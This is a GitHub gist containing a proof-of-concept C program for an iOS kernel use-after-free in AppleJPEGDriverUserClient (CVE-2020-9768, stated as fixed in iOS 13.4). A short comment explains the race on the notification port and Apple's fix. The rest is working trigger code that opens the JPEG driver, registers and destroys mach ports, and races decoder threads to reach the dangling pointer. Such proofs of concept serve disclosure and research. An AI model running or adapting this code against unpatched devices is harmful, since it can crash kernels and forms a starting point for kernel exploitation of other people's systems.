Skip to content

Instantly share code, notes, and snippets.

@0x36
Created Mar 25, 2020
Embed
What would you like to do?
#if 0
Reported : 19-Jan-2020
Fixed in iOS 13.4 with CVE-2020-9768
AppleJPEGDriverUserClient : mach port use-after-free/type-confusion via race condition
AppleJPEGDriverUserClient external methods can be used synchronously or asynchronously, when used asynchronously,
it brings the registered mach port (via registerNotificationPort()) and put it inside jpegRequest data structure,
and no reference count was taken for this operation. since registerNotificationPort() is not gated, it is
possible to release the port (if the port got substituted) during the processing of jpeg request and end up
with dangling pointer passed to _mach_msg_send_from_kernel_proper().
Note that the race window can be expanded by providing some valid inputs, and by calling several synchronous
calls first, we can fill the jpeg request queue (see AppleJPEGDriver::queue_io_gated) and force the asynchronous
call to be delayed, so the port could be replaced.
Fix : Apple removed releaseNotificationPort() from registerNotificationPort() and prevented port substitution.
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <CoreFoundation/CoreFoundation.h>
#include <pthread.h>
#define self mach_task_self()
// IOKIT
typedef mach_port_t io_connect_t;
typedef mach_port_t io_service_t;
typedef mach_port_t io_iterator_t;
typedef mach_port_t io_object_t;
typedef mach_port_t io_registry_entry_t;
typedef char io_name_t[128];
#define IO_OBJECT_NULL 0
extern const mach_port_t kIOMasterPortDefault;
kern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt);
kern_return_t IOConnectCallAsyncMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt);
io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching);
kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type,io_connect_t *connect);
kern_return_t IOServiceClose(io_connect_t connect);
kern_return_t IOConnectSetNotificationPort(io_connect_t connect, uint32_t type, mach_port_t port, uintptr_t reference);
CFMutableDictionaryRef IOServiceMatching(const char *name);
int start;
uint32_t src_surface,dst_surface;
mach_port_t allocate_port(void);
io_connect_t iokit_get_connection(void);
void doit(void);
void startDecoder(io_connect_t c,char *inputBuf);
char *prepare_setDecoder(void);
void* IOSurfaceCreate(void*);
uint32_t IOSurfaceGetID(void*);
uint32_t create_surface(void)
{
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
CFDictionarySetValue(dict, CFSTR("IOSurfaceIsGlobal"), kCFBooleanTrue);
int alloc_size_raw_value = 0x10000;
CFNumberRef alloc_size_cfnum = CFNumberCreate(NULL, kCFNumberSInt32Type, &alloc_size_raw_value);
CFDictionarySetValue(dict, CFSTR("IOSurfaceAllocSize"), alloc_size_cfnum);
int pixel_format_raw_value = 0;
CFNumberRef pixel_format_cfnum = CFNumberCreate(NULL, kCFNumberSInt32Type, &pixel_format_raw_value);
CFDictionarySetValue(dict, CFSTR("IOSurfacePixelFormat"), pixel_format_cfnum);
void* iosurface = IOSurfaceCreate(dict);
assert(iosurface != NULL);
return IOSurfaceGetID(iosurface);
}
inline mach_port_t allocate_port(void)
{
kern_return_t kr = 0;
mach_port_t port = MACH_PORT_NULL;
kr = _kernelrpc_mach_port_allocate_trap(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
assert(kr == KERN_SUCCESS);
kr = _kernelrpc_mach_port_insert_right_trap(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
assert(kr == KERN_SUCCESS);
return port;
}
io_connect_t iokit_get_connection(void)
{
kern_return_t kr = KERN_SUCCESS;
io_connect_t conn = MACH_PORT_NULL;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleJPEGDriver"));
assert(service != NULL);
kr = IOServiceOpen(service, self, 1, &conn);
assert(kr == KERN_SUCCESS);
printf("Got connection %x of %s\n",conn,"AppleJPEGDriver");
return conn;
}
mach_port_t gport = 0;
#define nums 0x2
mach_port_t gports[nums];
char *input = NULL;
void *do_register_port(void *arg)
{
io_connect_t conn = *(io_connect_t *)arg;
kern_return_t kr = 0;
uintptr_t refs = {0};
mach_port_t port = gports[0];
kr = IOConnectSetNotificationPort(conn,0,port,refs);
kr = _kernelrpc_mach_port_destroy_trap(mach_task_self(),port);
printf("_kernelrpc_mach_port_destroy_trap() kr =%d %s\n",kr,mach_error_string(kr));
gports[0] = 0;
return NULL;
}
void *do_register_null(void *arg)
{
while(!start) {}
sleep(0.5);
io_connect_t conn = *(io_connect_t *)arg;
kern_return_t kr = IOConnectSetNotificationPort(conn,0,0,0);
printf("IOConnectSetNotificationPort() kr =%d %s\n",kr,mach_error_string(kr));
kr = _kernelrpc_mach_port_destroy_trap(mach_task_self(),gports[1]);
return NULL;
}
void *_startDecoder(void *arg)
{
io_connect_t conn = *(io_connect_t *)arg;
startDecoder(conn,input);
return NULL;
}
char *prepare_setDecoder(void)
{
uint32_t structInputCnt = 0x58;
void *input = malloc(structInputCnt);
assert(input);
memset(input,0,structInputCnt);
size_t structOutputCnt = 0x58;
void *structOutput = malloc(structOutputCnt);
assert(structOutput);
memset(structOutput,0xcc,structOutputCnt);
printf("src_surface=0x%x, dst_surface=0x%x\n",src_surface,dst_surface);
*(uint32_t*) (input + 0 ) = src_surface; // source surfaceID
*(uint32_t*) (input + 4 ) = 2000; // input size
*(uint32_t*) (input + 8 ) = dst_surface; // source surfaceID
*(uint32_t*) (input + 0xc ) = 0x1000; // output size
*(uint32_t*) (input + 0x14 ) = 100; // pixelX
*(uint32_t*) (input + 0x18 ) = 3; // pixelY
*(uint32_t*) (input + 0x4C ) = 5; // decodeWidth
*(uint32_t*) (input + 0x50 ) = 10; // decodeHeight
*(uint32_t*) (input + 0x24) = 0xd; // xOffset
*(uint32_t*) (input + 0x28 ) = 0xff; // yOffset
*(uint32_t*) (input + 0x2C ) = 0; // subsampling mode must be between 0 and 4
*(uint32_t*) (input + 0x30 ) = 0x41414141; // async callback
*(uint32_t*) (input + 0x40) = 100;
return input;
}
void startDecoder(io_connect_t c,char *inputBuf)
{
uint32_t selector = 1;
kern_return_t kr = KERN_SUCCESS;
size_t structOutputCnt = 0x58;
char *input = inputBuf;
void *structOutput[0x58];
while(!start) {}
kr = IOConnectCallMethod(c, selector,
NULL, // In
0, // In
input, // In
0x58, // In
NULL, // Out
NULL, // In/Out
structOutput, // Out
&structOutputCnt); // In/Out
printf("[*] selector=%d, kr =%x %s \n",
selector,kr,mach_error_string(kr));
return;
}
// main function
void doit()
{
gports[0] = allocate_port();
gports[1] = allocate_port();
src_surface = create_surface();
dst_surface = create_surface();
input = prepare_setDecoder();
start = 0;
io_connect_t conn = iokit_get_connection();
pthread_t tid;
int tid_cnt = 10;
pthread_t tids[tid_cnt];
// register a port for notification
do_register_port(&conn);
for(int i=0;i<tid_cnt;i++)
pthread_create(&tids[i],NULL,_startDecoder,&conn);
// release the previous registered port
pthread_create(&tid,NULL,do_register_null,&conn);
start = 1;
// join setDecoder
for(int i=0;i<tid_cnt;i++)
pthread_join(tids[i],NULL);
// join do_register_null
pthread_join(tid,NULL);
IOServiceClose(conn);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment